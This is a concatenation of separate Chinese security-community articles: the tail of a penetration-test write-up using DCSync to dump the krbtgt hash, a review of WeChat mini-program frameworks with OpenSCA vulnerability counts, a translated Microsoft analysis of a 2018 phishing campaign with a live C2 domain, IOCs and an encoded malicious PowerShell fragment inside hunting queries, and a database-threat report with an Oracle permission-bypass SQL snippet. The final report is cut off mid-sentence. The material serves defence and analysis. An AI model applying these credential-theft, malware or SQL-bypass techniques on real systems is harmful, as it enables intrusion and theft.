kiwi扩展中的“dcsync_ntlm”命令来提取krbtgt帐户的哈希，具体如下图所示。
这样整个渗透过程就此结束了，回顾一下整个渗透过程，我们是从web应用程序的SQL注入漏洞开始，一步一步的直到获取目标站点管理员的多个登录口令。整个攻击流程图如下所示:
#### **总结**
通过对整个渗透测试过程的回顾我们发现，其实任何一个漏洞对于企业来说都是至关重要的，因为任何微小的漏洞都可能会成为黑客潜入企业内部的突破口；另一个需要注意的是企业应该对公司内部的设备清单有一个清楚的列表，以能够保障在出现漏洞时能够及时的对存在漏洞的主机进行打补丁和升级操作。 | 社区文章 |
据腾讯2022年第三季度财报，仅微信就已有近5亿个小程序，DAU（日活用户）也已经突破了6亿；除却激增的用户量，2022年使用云开发的小程序开发者也突破了300万。
比起其他应用，由框架主体和框架页面组成的小程序相对容易上手。想解锁新技能、做出下一款“狼了个狼”吗？这些开源项目可以助你走出新手村、开启新副本。
## 开源框架 二开创作
一般来说，小程序相关的开发者社区或是开源平台中主要有两种框架：
* UI 框架：提供不同样式的组件。开发者可以使用一些现成的样式，完成自己产品或应用的开发。
* 基础框架：用于小程序的打包、编译和组件化等方面，让开发者在应用开发中更简单、方便地使用自己熟悉的方案。
**下面是四个各具特色且功能强大的开发框架。**
#### 1\. Tencent/wepy
仓库地址：
<https://github.com/Tencent/wepy>
Tencent/wepy是一款由腾讯官方开发的、让小程序支持组件化开发的框架。它对微信原生小程序的开发模式进行了再次封装，更贴近于 MVVM
架构模式，并通过预编译的手段让开发者可以在开发小程序时选择自己喜欢的开发风格。
wepy框架中最受欢迎的就是它的各种“预”功能了，不论是预编译、预加载还是预查询，都能大大提升开发效率。
举个例子，我在“page1” 写了一个倒计时，跳转到 “page2”
后发现倒计时仍然在进行。一般而言，我们请求数据是在“onLoad”中进行，但是小程序的“page 1”跳转到“page 2”再到“page 2”
的“onLoad”存在一个 300ms ~ 400ms 的延时，这个时间就会被浪费掉。
在这里wepy做了很棒的预加载优化，用于“page1” 主动传递数据给“page2”，比如“page2”
需要加载一份耗时很长的数据，我可以在“page1”空闲时先加载好，然后进入 “page2”直接使用。
下图就是一个“预加载数据”的实例，它扩展了页面生命周期，添加了“preload”事件，使得数据在“$redirect”的位置被主动调用。同时，给“onload”事件添加了一个参数，用于接收预加载的数据。
图1 Tencent/wepy中的数据预加载示例
经OpenSCA检测，该项目共包含3214个开源组件，其中11个风险等级为严重，54个风险等级为高危，14个风险等级为中危，共有50个漏洞。
图2 Tencent/wepy检测结果
#### 2\. youzan/vant-weapp
仓库地址：
<https://github.com/youzan/vant-weapp>
youzan/vant-weapp在整个开发周期内负责UI设计部分，于 2017 年开源，
是业界主流的移动端组件库之一，有丰富的组件可供挑选。使用它可以使小程序的整个搭建过程完全可视化，做到功能和美观兼备。
图3 youzan/vant-weapp组件库示例
经OpenSCA检测，该项目共包含1942个开源组件，其中2个风险等级为高危，共有3个漏洞。
图4 youzan/vant-weapp检测结果
#### 3\. dcloudio/uni-app
仓库地址：
<https://github.com/dcloudio/uni-app>
dcloudio/uni-app是一个本地编程自动跨平台适配的框架，亮点是“一端开发，多端覆盖” 。
它完备的功能体系和丰富的插件市场已经得到了阿里和腾讯的官方认证：阿里小程序提供的官方工具中内置了uni-app，腾讯课堂官方也制作了uni-app的培训视频。此外，星巴克、犯罪大师、CSDN的官方小程序就是用它开发的，广东、贵州、内蒙古等共37个省市的健康码小程序也是用它开发的。
下图是uni-app所提供的功能框架图，图中阐述了uni-app在不同平台上所具备的通用功能和各平台上的延伸功能。
图5 dcloudio/uni-app功能框架图
经OpenSCA检测，该项目共包含16463个开源组件，其中59个风险等级为严重，119个风险等级为高危，72个风险等级为中危，共有177个漏洞。
图6 dcloudio/uni-app检测结果
#### 4\. didi/chameleon
仓库地址：
<https://github.com/didi/chameleon>
chameleon是变色龙的意思，意味着此项目就像变色龙一样，能适应不同环境，提供跨端整体解决方案，“一端所见即多端所见”。
相对于上文提到的两个框架，没有可视化界面的chameleon对开发者的编程水平有更高的要求。纯代码的场景在带来挑战的同时但也具备更大的可能性和可玩性，可以不受框架中已提供的组件的限制，构建完全符合开发者设计和想象的小程序。
图7 didi/chameleon源文件包中的package列表
但是，使用chameleon必须安装它专用的IDE（用VS
Code是不能编译的）并配置最新Java环境。用过Java的小伙伴们可能遇到过旧版本“卸载不完全”的情况，这会导致新版本安装不成功，带来一些麻烦。
经OpenSCA检测，该项目共包含20609个开源组件，其中259个风险等级为严重，538个风险等级为高危，289个风险等级为中危，共有158个漏洞。
图8 didi/chameleon检测结果
## 宝藏插件 开发帮手
#### 1\. haojy/weact
仓库地址：
<https://github.com/haojy/weact>
haojy/weact实现了用JSX和ES6或ES7来开发小程序，你可以在一个JSX文件中编写页面或组件，并把关联的JSX代码和引用包编译成小程序代码，然后在小程序开发者工具中调试代码。因为它使用了JSX和ES标准语法，所以可以轻松地把已有的JSX代码重构成小程序。
但是它的缺点也比较明显：不具备完整的组件库，很多想要的组件都需要自己从零编写，没有源码可以直接使用。换言之，我们可以暂且称它为“代码翻译器”。对于JSX功底深厚的开发者比较友好，可以用入门其他语言（或是了解要使用的框架）的时间，在自己擅长的领域从零搭建。
经OpenSCA检测，该项目共包含1083个开源组件，其中16个风险等级为严重，16个风险等级为高危，14个风险等级为中危，共有80个漏洞。
图9 haojy/weact检测结果
#### 2\. lypeer/Matchmaker
仓库地址：
<https://github.com/lypeer/Matchmaker>
在开发微信小程序的时候，WXML和JS之间如果要有事件响应的话，要先在WXML中用“bind ** _/catch_**
”标签绑定一个方法，然后去JS里面一个一个去把WXML里面定义的方法写出来。
图10 lypeer/Matchmaker操作示例
这个写空方法的过程其实很无聊，这个插件可以把WXML里面声明的方法直接注入到JS里面，自动生成代码，让开发者把时间和精力花在更有技术含量的地方。
经OpenSCA检测，该项目没有引入开源组件。
图11 lypeer/Matchmaker检测结果
#### 使用OpenSCA治理开源风险
尝试使用这些项目或对它们进行二开前，记得使用OpenSCA进行一次软件成分分析，只需通过一条命令即可掌握项目中开源组件的漏洞及风险情况，还支持在本地输出JSON、HTML格式的检测报告及SPDX格式的SBOM清单。
除了上文展示的组件及漏洞结果概览，OpenSCA提供的HTML格式的报告中还会展示组件及漏洞详情。下图展示了OpenSCA对haojy/weact检出的一个高危漏洞的详情，包括漏洞的名称、风险等级、发布日期、利用难度及修复建议等内容。
图12 检测报告中的漏洞详情页
以上就是OpenSCA项目组整理的若干与小程序开发相关的开源项目，若您还有其他开源项目推荐或二开尝试，欢迎随时与我们分享~
* * *
添加小助手（微信号：opensca1）加入OpenSCA社区技术交流群
或关注公众号：OpenSCA社区
感谢每一位开源社区成员对OpenSCA的支持和贡献。
OpenSCA的代码会在GitHub和Gitee持续迭代，欢迎Star和PR，成为我们的开源贡献者，也可提交问题或建议至Issues。我们会参考大家的建议不断完善OpenSCA开源项目，敬请期待更多功能的支持。
GitHub：
<https://github.com/XmirrorSecurity/OpenSCA-cli/releases>
Gitee：
<https://gitee.com/XmirrorSecurity/OpenSCA-cli/releases>
OpenSCA官网：
<https://opensca.xmirror.cn/> | 社区文章 |
路透社最近报道有黑客组织对全球的多个目标发起了网络攻击活动。微软研究人员也追踪到了同样的攻击活动，本文介绍该攻击活动的相关细节。
研究人员发现攻击活动主要攻击公共机构和非政府组织，比如智库、研究中心和教育机构，以及石油、天然气、化工以及医疗行业的私营企业。
第三方安全研究人员分析称该攻击是APT 29（CozyBear）组织发起的攻击活动，微软称APT
29为YTTRIUM。截止目前，微软研究人员称还没有足够的证据表明该攻击活动来源于APT 29。
# 攻击概览
攻击活动是2018年11月14日早晨开始的。攻击目标主要是参与政策制定或在该区域有政治影响的机构。
钓鱼攻击在不同行业的分布
虽然目标分布在全球的不同行业，但主要分布在美国、尤其是华盛顿周边，其次是欧洲、香港、印度和加拿大。
钓鱼攻击活动地理分布
鱼叉式钓鱼邮件模仿通过OneDrive分享的通知，伪装成美国国务院的工作人员。如果接收者点击了鱼叉式钓鱼攻击邮件中的链接，就开始了攻击的漏洞利用链，最终会导致植入DLL后门，使攻击者可以远程访问接收者的机器。
攻击链
# 攻击活动分析
## 传播
攻击中使用的鱼叉式钓鱼攻击邮件模仿通过OneDrive分享的文件共享通知。
邮件中含有一个合法但是被黑的第三方链接：
hxxps://www.jmj.com/personal/nauerthn_state_gov/TUJE7QJl[random string]
攻击者使用了随机字符串来识别点击了链接的不同目标。但所有该链接的变种都会将用户重定向到相同的链接：
hxxps://www.jmj.com/personal/nauerthn_state_gov/VFVKRTdRSm
当用户点击链接后，就会被提供一个含有恶意LNK文件的ZIP文件。攻击中所有文件的文件名都是相同的，比如`ds7002.pdf`, `ds7002.zip`,
`ds7002.lnk`。
## 安装
LNK文件表示攻击的第一阶段。它会执行一个混淆的powershell命令，该命令会从LNK文件的offset`0x5e2be`扩展`16632`字节的位置提取出base64编码的payload。
LNK文件中编码的内容
编码的payload是一个严重混淆的PowerShell脚本，会被解码和执行：
解码的第二个脚本
第二个脚本会从.LNK文件中提取出两个额外的文件：
* `ds7002.PDF` (诱饵PDF文件)
* `cyzfc.dat`(1阶段植入)
## C2
PowerShell脚本会在路径`%AppData%\Local\cyzfc.dat`下创建一个第一阶段DLL文件`cyzfc.dat`。这是导出函数`PointFunctionCall`的64位DLL。
然后PowerShell脚本会通过调用`rundll32.exe`来执行`cyzfc.dat`。在连接第一阶段C2服务器`pandorasong[.]com
(95.216.59.92)`后，`cyzfc.dat`开始通过以下步骤来安装final payload：
1. 为第二阶段payload分配ReadWrite页；
2. 提取第二阶段payload作为资源
3. 将header融入到第一阶段payload的`0xEF`字节
4. 将header加到资源从字节`0x12A`开始的位置中；
5. 用滚动XOR(ROR1)方法从key `0xC5`开始解密第二阶段payload。
第二阶段payload是Cobalt Strike的一个实例，Cobalt Strike是一个商业渗透测试工具，会执行以下步骤：
1. 以`\\.\pipe\MSSE-<number>-server`格式定义一个本地命名的pipe，其中`<number>`是`0`到`9897`之间的随机数字；
2. 连接到pipe，写入全局数据size`0x3FE00`；
3. 通过命名的pipe实现后门：
* 从pipe（最大`0x3FE00`字节）到分配的缓存中读取内容；
* XOR解码payload到新的`RW`内存区域，这次使用的XOR key为：用`0x7CC2885F`每4个字节进行简单XOR
* 将该区域变成`RX`；
* 创建一个线程运行payload。
将全局数据写入pipe实际上是写的是一个第三方payload。Payload也是用相同的XOR算法加密的，解密后，与Meterpreter
header组成了一个PE文件，可以翻译PE header中的指令，并将控制转移到反射加载器上：
第三个payload最后会加载并连接到C2服务器地址，其中C2服务器地址是融入到PE文件的配置信息中的。配置信息在第3个payload运行时会XOR解密：
配置信息本身含有C2信息：
CobaltStrike是一个功能丰富的渗透测试工具，提供给远程攻击者广泛的功能，包括提权、获取用户输入、通过PowerShell或WMI执行任意命令、执行侦察、通过不同协议与C2服务器通信、下载和安装恶意软件等。
**Indicators of attack**
Files (SHA-1)
• ds7002.ZIP: cd92f19d3ad4ec50f6d19652af010fe07dca55e1
• ds7002.LNK: e431261c63f94a174a1308defccc674dabbe3609
• ds7002.PDF (decoy PDF): 8e928c550e5d44fb31ef8b6f3df2e914acd66873
• cyzfc.dat (first-stage): 9858d5cb2a6614be3c48e33911bf9f7978b441bf
URLs
• hxxps://www.jmj[.]com/personal/nauerthn_state_gov/VFVKRTdRSm
C&C servers
• pandorasong[.]com (95.216.59.92) (first-stage C&C server)
安全团队可以查找网络中相关的活动来确定是否被攻击和入侵：
//Query 1: Events involving the DLL container
let fileHash = "9858d5cb2a6614be3c48e33911bf9f7978b441bf";
find in (FileCreationEvents, ProcessCreationEvents, MiscEvents,
RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents)
where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash
| where EventTime > ago(10d)
//Query 2: C&C connection
NetworkCommunicationEvents
| where EventTime > ago(10d)
| where RemoteUrl == "pandorasong.com"
//Query 3: Malicious PowerShell
ProcessCreationEvents
| where EventTime > ago(10d)
| where ProcessCommandLine contains
"-noni -ep bypass $zk=' JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0"
//Query 4: Malicious domain in default browser commandline
ProcessCreationEvents
| where EventTime > ago(10d)
| where ProcessCommandLine contains
"https://www.jmj.com/personal/nauerthn_state_gov"
//Query 5: Events involving the ZIP
let fileHash = "cd92f19d3ad4ec50f6d19652af010fe07dca55e1";
find in (FileCreationEvents, ProcessCreationEvents, MiscEvents,
RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents)
where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash
| where EventTime > ago(10d)
<https://cloudblogs.microsoft.com/microsoftsecure/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/> | 社区文章 |
# 2019年上半年数据库漏洞 安全威胁报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一. 报告摘要
北京安华金和科技有限公司（简称安华金和）长期致力于帮助客户应对数据库安全领域的威胁。为了提高数据库用户的安全意识，快速反馈最新数据库漏洞被利用方向，安华金和最新发布《2019年上半年数据库漏洞安全威胁报告》。该报告用于快速跟踪及反馈数据库安全的发展态势。
## 二. 报告正文
### 2019年数据库安全形式综述
**数据安全现状概述**
如今云计算、大数据、移动互联网、物联网、智慧城市正成为我国信息化建设的主要方向，信息化的发展正改变着我们的生活。作为信息化的核心，数据正逐步成为各类企业、政府部门关注的重点。毫无疑问，在信息时代下数据已经成为一种无形的资产。而数据库作为存储核心数据的重要手段，在企业IT架构中的重要性也变得不言而喻。
随着大数据时代的到来，各行业的数据量成TB甚至PB级增长，数据规模不断扩大，数据库的重要性也更加突出。在云计算产业的不断发展下，各类公有云、私有云的数量也在不断增长，随之而来的是，原本在内网环境中使用的数据库管理系统也在云环境下得到广泛使用，数据库的使用场景发生了变化。在《云计算发展三年行动计划（2017-2019年）》的推动下，各类云的数量将持续增长。
系统架构、使用场景、网络环境的变化，导致一些旧的安全体系已不再适用。无论是企业还是客户都必须考虑数据库的安全问题。为了对数据库进行合理有效的安全建设，研究数据库潜在的安全风险并寻找切实可行的应对措施已经迫在眉睫。
**数据库自身的安全缺憾**
凭借能够快速、高效管理数据的特点，数据库成为了信息系统的核心。无论是大数据、云计算还是物联网等热点技术都离不开数据库的身影。从传统内网到云环境，从世界500强公司到各国政府机关，数据库在各式各样的业务系统中扮演了重要的角色，存放了包括财务信息、公民身份信息、银行账户密码、政府机密资料在内的等各类重要数据。核心数据的价值在不断提升，数据库的安全性也更加重要。
随着云计算、大数据时代的到来，全球的数据量呈爆发式增长。为了适应新的用户需求，企业的IT架构也在随之变化，正在从传统的内网环境演变到现在的云平台上。数据库作为管理数据的核心系统，在得到人们广泛使用的同时，也不断遇到新的应用场景，面临着新的安全挑战。
传统环境下，数据库位于企业的内网环境中，封闭的局域网为数据库提供了一个相对安全的使用环境，有效避免了来自外部的黑客攻击。然而从目前的发展情况来看，内外网融合是大势所趋，越来越多的用户在向云上迁移，数据库系统正在脱离保守的内网环境，运行环境正变得更加开放。与之相对的是，数据库的安全机制并没有进一步发展，与产品面对海量数据所表现出的优异性能相比，数据库在安全性方面表现得相对落后。因此，数据库安全所面临的首要问题就是如何加强某些场景下的安全防护能力，避免潜在安全隐患。
### 数据库安全威胁分析
作为一套复杂而周密的软件，其实数据库在设计之初就考虑到了安全问题，有的甚至依据美国国防部的标准而来。应该说当今市场上大部分商用数据库都能满足安全标准，是符合安全要求的。然而即使是符合安全标准的数据库，在实际使用的过程中所表现出的安全性仍会有所欠缺，令人大失所望。根本原因在于技术的发展总是领先于标准的制定。因此，在研究数据库安全时，要更多地从实际情况出发，寻找切实有效的解决办法。
图1 数据库安全威胁分析统计图
根据今年对数据库攻击的统计分析，我们绘制了“数据库安全威胁分析统计图”。从上图中可以看出，在目前的安全形势下，数据库所面临的安全威胁主要有三大类：第三方恶意组件、人为因素和数据库系统安全，三者共占总体的93%。由此可见，这三大威胁的存在严重影响了数据库的安全性。寻找它们的应对之道，是建设数据库安全的必经之路。
**人为因素**
要想全面、透彻的研究安全问题，必然要考虑安全事件中的人为因素。无论是攻击者也好，数据库管理员也罢，从本质上看，安全问题可以归结为人与人之间的博弈。攻击者考虑的是如何利用各种方法绕过用户的防御措施，进而完成攻击；管理员要考虑的是黑客将如何攻击系统，如何进行有效防御。在矛与盾的博弈之下，安全水平在不断提升。因此，研究数据库安全中的人为因素是十分必要的。
提到人为因素就离不开数据库管理员，提到数据库管理员就离不开身份认证和安全配置。对此，本文将以弱口令配置、离线暴力破解、错误配置三个方面为切入点，分析人为因素对数据库安全的影响。
弱口令或默认口令的安全问题
之所以会出现弱口令或默认口令问题，往往与数据库管理员的安全意识不足有关。弱口令问题并不复杂，只要修改默认密码，并满足密码复杂度要求就能轻松解决。然而看似简单的问题如果不及时处理，就可能会演变成更大的隐患。事实上，攻击者希望自己的攻击过程快捷高效，因此大多数情况下会避免执行复杂的操作，而通过正确的口令登录数据库是最为直接有效的方式，因此弱口令攻击成为了攻击者常用的入侵手段。之前就曾出现云端的MySQL服务器大范围遭受勒索攻击的事件，而黑客就是利用了数据库的root用户采用了“1”这个弱口令来完成的攻击。
弱口令问题不容小觑，一旦存在将为攻击者打开通往核心数据的大门。要彻底解决弱口令问题，关键在于管理员如何在“安全”和“方便”之间进行取舍。当因系统测试而需要提供数据库密码时，如何确保密码不会外泄？当用户较多需要长期维护时，能否记得定期修改密码？当数据库安装完毕后，是否会主动调整安全设置？这都是对管理员安全意识的考验。
此外，一般行业内人士都有较为流行、通用的账号密码，这类密码被称为线下弱口令。虽然大部分数据库在身份验证时都进行了加密，但被加密的只是口令，数据库账号仍然以明文的方式存在。因此线下弱口令也是数据库安全的一大隐患。只有定期更换安全的密码，才能有效避免弱口令攻击。因此提高管理员的安全意识，依据安全要求进行系统管理是十分必要的。
离线暴力破解
目前的主流数据库为了保证用户身份验证时的安全性，一般会采用口令加密、密码错误次数限制等手段。为了应对这种安全措施，黑客另辟蹊径采取了离线破解的方法。通过网络抓包的方式捕获含有身份验证信息的数据包，此时会获得加密后的口令。之后再采取暴力破解的方式进行口令爆破，从而绕过数据库安全机制，实现对数据库密码的攻击。
由于早期硬件性能不足，使用CPU进行暴力破解往往会耗费大量的时间。而随着GPU技术的发展，支持大规模并发运算的特性使其成为了暴力破解的新手段，大大减少了破解时间。目前GPU的运算效率非常高，每秒甚至能产生80亿次密码碰撞。
针对暴力破解，最为有效的解决方法仍然是定期修改密码，并且修改后的密码要满足复杂度要求。这样即使黑客成功破解了密码，随着密码的更新，之前的工作都会化为无用功，从而避免数据库被入侵。
错误配置的安全问题
数据库的错误配置问题一般比较隐蔽。从以往的经验来看，数据库的错误配置往往源自默认配置，很多时候与产品的性能、易用性、兼容性等问题有关。一旦被攻击者发现，可能被长期利用，安全威胁十分严重。
以Oracle数据库为例，常见的错误配置是没有对数据库的监听部分设置管理口令，从而引起TNS劫持问题。比如CVE-2012-1675，它能实现远程把同名实例注册到目标TNS，进行数据库劫持攻击。最有效的解决办法就是对目标TNS加设管理密码，防止注册不可信实例。可见对数据库进行正确的安全配置是十分有必要的。
要确保数据库的安全性，有两个方面的相关配置是必须要考虑的，即身份验证和用户权限。
为了提高数据库身份验证过程中的安全性，一般会采取禁止数据库远程访问、禁止数据库采用系统身份认证等措施。禁止远程访问，是为了避免黑客从内网中的其他主机登录数据库，窃取数据。禁止系统身份验证，可以有效避免当黑客入侵了数据库服务器的操作系统时，利用系统身份认证登录数据库。
合理的划分用户权限对提升数据库的安全性是十分重要的，通常会对数据库账号进行降权操作。一方面是降低数据库账号在操作系统中的权限，防止黑客利用数据库对操作系统发起入侵。此类问题在SQL
Server中较为明显，因为SQL
Server安装后的SA账号默认具有系统管理员权限，而利用数据库攻击操作系统的事件已经出现过多次，因此必须做降权处理。另一方面是针对不同角色的用户进行权限划分，防止越权操作。对于数据库账号，建议遵循最小权限原则，以满足用户实际需要为基础，为每一个数据库账号赋予最小特权。比如在进行第三方开发测试期间，要注意账号的权限管理满足测试开发需求即可。在大多数利用Web应用实现的SQL注入攻击中，之所以能攻击成功靠的就是Web访问数据库时的账号权限。因此应谨记最小权限原则，降低数据库被入侵的风险。
经过上述操作，可以保证数据库的最高用户权限不会随着操作系统、局域网被入侵而泄露。除了考虑最基本的身份验证和用户权限以外，影响数据库安全的配置问题还体现在多个方面。
数据库所在的操作系统和网络环境也是影响数据库安全的重要因素。例如运行在Windows平台上的Oracle进程有一个安全隐患：每一个Windows系统上的用户都可以通过空用户（sqlplus
/ nolog）程序化的打开Oracle.exe进行越权访问。对于这类问题，需要管理员在操作系统中进行相关设置才能解决。
数据库内置的存储过程也会影响安全性。因为某些数据库自带的存储过程或函数可以与操作系统进行交互，如Oracle的UTL_FILE_DIR 和SQL
SERVER的XP_cmdshell函数。它们可以对操作系统进行操作，当数据库被入侵后利用这些函数影响操作系统。所以如果不需要这种扩展存储过程或函数请将它们彻底删除。否则这些扩展函数和存储过程很可能成为数据库给操作系统留下的后门。删除危险的函数，禁止数据库对OS文件完全访问对于提升数据库的安全性而言是很有必要的。
**数据库本身系统安全分析**
要研究数据库本身系统安全，离不开它的三大基本组件：网络监听组件、关系型数据库管理系统和SQL编程组件（例如pl/sql）。网络监听组件主要负责数据库的网络通讯，包括端口监听、身份验证等功能。关系型数据库管理系统是数据库最核心的组件，它的存在确保了数据库高效、稳定的运行。SQL编程组件提升了数据库的扩展能力和灵活性。针对用户的实际需求，软件厂商还会在数据库的基础上开发上层应用，因此数据库漏洞大体上可以划分为两类：数据库软件漏洞和应用程序逻辑漏洞。
数据库软件漏洞属于产品自身的缺陷，由数据库厂商对其修复，通常以产品补丁的形式出现。
应用程序逻辑漏洞主要出现在以数据库为核心开发的应用程序中，如HIS系统、财务系统等。虽然漏洞出现在应用程序上，但数据库中的数据才是黑客的最终目标。出现这种问题，很大程度上与软件开发的复杂度有关。一套数据库软件不仅有繁复的逻辑结构，还要有大量的代码支撑。面对纷繁复杂的产品，在软件实现的过程中，数据库设计开发人员难免出现纰漏。攻击者往往会利用这些漏洞攻陷目标数据库，典型的攻击方式有SQL注入、提权、缓冲区溢出等。
由于关注的重点不同，本文中所涉及的数据库漏洞仅限于数据库软件自身的漏洞，不涉及应用程序逻辑方面。下面将从三个基本组件出发，根据数据库被入侵的方式分析数据库所面临的安全问题。
网络攻击的安全问题
在实际应用中，数据库通常会作为Server与各个Client进行网络通讯，产生数据交互，因此监听组件必不可少。当然，在不同的数据库软件中，监听的存在方式有所不同，例如，在Oracle中以一个可执行文件的形式存在；在SQL
Server中，监听则成为了数据库引擎进程的一部分。
监听组件在编码时应更加重视代码的逻辑规范，避免出现缓冲区溢出漏洞。无论是SQL
Server还是Oracle，这些知名的数据库都曾出现过网络端口漏洞。对于Oracle主要表现在TNS上，例如CVE-2002-0965、CVE-2002-0965、CVE-2007-5507、CVE-2012-0072都是可以直接夺取操作系统权限的缓冲区漏洞，涵盖了Oracle9i到11g的所有版本。
数据库引擎的安全问题
此类问题中，较为有代表性的是2007年7月Oracle的一个错误授权验证漏洞。该漏洞允许被篡改的SQL语句绕过执行用户被授权的权限，能够在没有相应权限的情况下，对数据表执行更新、插入和删除操作。
Creat view em_em as
Select e1.ename,e1.empno,e1.deptno
From scott.emp e1,scott.emp e2
Where e1.empno=e2.empno;
Delete from em_em;
作为数据库软件的核心部分，数据库引擎不仅要实现与用户的数据交互，还要保证数据库高效、稳定的运行，因此其内部结构相当复杂。既包括语法分析器、优化器、PL/SQL等功能组件，还含有大量的逻辑结构。软件的复杂程度越高，出现逻辑错误的概率越大，对于数据库这个高复杂度的软件更是如此。一个细微的逻辑错误就有可能演变成安全漏洞，因此非常难以防护。值得庆幸的是，很多漏洞的利用条件较为苛刻，难以形成实际威胁。
内建存储对象的安全问题
数据库提供内建的存储对象，本意是为用户和开发人员提供便利，利用存储对象可以实现访问操作系统文件、管理XML对象、发送HTTP请求等功能。然而一个善意的功能在面对入侵者时可能带来意想不到的后果。尤其是当这些功能都需要监听对应的端口进行网络通讯时，带来的安全隐患更为严重。据了解，这些漏洞涵盖了SQL注入、缓冲区溢出、应用程序逻辑问题等多个方面。
SQL编程组件的安全问题
对于SQl编程组件，各个数据库厂商的实现方式有所不同，如微软SQL
Server使用的是T_SQL，甲骨文Oracle数据库使用的是PL/SQL。为了便于理解，下面以PL/SQL为例进行说明。
PL/SQL是Oracle对SQL语句的扩展，用户使用PL/SQL可以实现复杂的功能或计算，能够实现比较复杂的业务逻辑。对于安全研究者来讲，PL/SQL最大的问题在便于攻击者提权。
例如当通过Web拿到数据库的一组低权限用户后，可以利用PL/SQL中的一些方法进行提权，最终控制整个数据库。诸如
DBMS_METADATA、CTXSYS DRILOAD、CTXSYS DRILOAD、
DBMS_CDC_SUBSCRIBE、DBMS_METADATA、MDSYS、SYS.LT、LT_CTX_PKG、USER_SDO_LRS_METADATA、DBMS_EXPORT_EXTENSION、DBMS_SQL
等都出现过让低权限账号提权到DBA权限的漏洞。
**第三方恶意组件**
就目前的情况来看，针对数据库攻击的第三方恶意组件主要包括数据库后门、挖矿木马和数据库勒索三大类。
当黑客攻破数据库后，往往会留下针对数据库的后门程序，便于长期、持续地窃取数据。起初后门攻击的主要目标是操作系统，但是随着数据库的重要性逐渐提升，专门针对数据库的后门数量也在日渐增加。
由于比特币、莱特币、以太坊等加密数字货币的兴起，各类挖矿木马如雨后春笋般出现。挖矿木马可以利用数据库漏洞入侵数据库服务器，并进行内网扩散，构建僵尸网络。与数据库后门不同的是，挖矿木马主要是窃取服务器的硬件资源，通过挖矿行为获利。
数据库勒索的主要目的是通过妨碍用户使用数据库对其进行敲诈勒索，实现非法获利。进行数据库勒索的方式大致可分为两种，一种是先向数据库工具、数据库组件插入恶意的SQL语句，再通过被感染的数据库工具、组件向用户的数据库中插入恶意的SQL语句和触发器。在合适的时机会自动执行恶意SQL语句，从而以阻断合法用户访问数据库、隐藏数据库关键表、删除数据等方式实现妨碍用户正常使用进行敲诈勒索的目的。另一种方式是直接攻击数据库文件，对其进行加密，影响数据库功能的正常使用。
对于防护第三方恶意组件，使用正版软件是较为有效的途径。一些绿色版、破解版软件中很可能存在恶意程序，从而影响数据库安全。保护数据库安全，不仅要考虑数据库本身，还要从整体出发，保证数据库系统的安全性。
**数据库勒索攻击分析**
自勒索病毒出现以来，勒索攻击一跃成为数据库安全的最大威胁。数据库服务器中存放的大量敏感数据对于企业级用户至关重要，因此黑客会直接攻击数据库服务器，挟持核心数据非法获利。针对核心数据的攻击方式主要有两种，一种是入侵数据库服务器，植入后门软件，长期盗取数据，通过倒卖数据获利；另一种是利用勒索病毒进行数据勒索，通过敲诈用户获利。由于目前数据库勒索的攻击手段日趋成熟，攻击方法越来越自动化、傻瓜化，导致攻击门槛降低，使其成为数据库的首要威胁。下面将分别介绍不同场景下的数据库勒索攻击，并讨论应对措施。
数据库勒索攻击现状
通过分析近年来的攻击事件可以发现，勒索攻击已经从个人用户转向企业级用户，金融、医疗、教育等行业成为重点关注对象。有迹象表明，大部分贩卖勒索软件的黑客团体在探索更加多样的攻击手段。如何应对勒索攻击成功数据库安全的新挑战。
图2 各类勒索事件统计-按数据文件类型
据统计，2019年上半年出现的勒索攻击中，针对数据库文件的共76起，占总数的28.4%；针对SQL文件的攻击共61起，占总数的22.8%，二者共占总数的51.2%，由此可见针对数据库相关文件的攻击已成为黑客进行数据库勒索的重要手段。
除了直接对各类数据文件进行加密勒索外，我们也发现了大量直接针对数据库的比特币勒索攻击。具体的攻击方式在不同场景下有较大区别。
云上数据库的比特币勒索
从2016年12月27日至今，云环境上的Mongodb、ElasticSearch、Cassandra、Redis、Hadoop、CounchDB、MySQL等数据库开始被陆续攻击，甚至有的数据库服务器被多个黑客团队重复勒索。对于云环境下的数据库，黑客采用大范围广撒网的方式，直接对43亿个IP地址进行全面扫描，从中筛选目标进行攻击。这种方法虽然较为笨拙，效率不高，单笔勒索费用不高，但是用户基数大，目标机器数量多，给黑客带来了巨大的收益。
以Mongodb数据库为例，云上的Mongodb曾在2016年底至2017年初遭遇了大范围的攻击，全球大约2.6万台服务器被勒索病毒入侵。至2019年上半年，针对Mongodb的勒索攻击仍时有发生。从总体上看，攻击流程大致如下图所示。
图3 MangoDB数据库勒索事件的攻击路径还原
黑客的攻击可以分为准备阶段和攻击阶段。
在准备阶段中，黑客通过对43亿个IP地址进行批量扫描，结合指纹识别探测主机是否存在Mongodb，如果存在则尝试登录，记录下能够成功登录的服务器的IP地址，准备在第二阶段开始攻击。
在实际攻击的过程中，黑客使用自动化脚本向第一阶段中筛选后的目标发起攻击，通过pymongo登录数据库。接着，利用Mongodbdurp将目标数据库下载到自己的服务器上，最后将原有数据删除，并向数据库中插入勒索信息索要赎金。如下图所示。
图4 勒索攻击的现场还原截图-入侵登陆
这种攻击方式之所以能成功，还是与数据库的默认配置有关，正是因为Mongodb默认情况下不需要进行身份验证，才导致大规模勒索事件的发生。
内网数据库的比特币勒索
在云端服务器遭受勒索病毒攻击的同时，内网环境下的数据库服务器也未能幸免。虽然相比云端而言受被勒索的机器数量较少，但是勒索费用更加高昂，造成的影响更为恶劣。
针对内网数据库，攻击者的实现思路有所不同，由于内网环境相对封闭，批量扫描的方式不再适用。对此，攻击者将目光转向了数据库工具上。
图6 内网数据库勒索攻击流程示意图
以Oracle数据库为例，黑客向Oracle PL/SQL
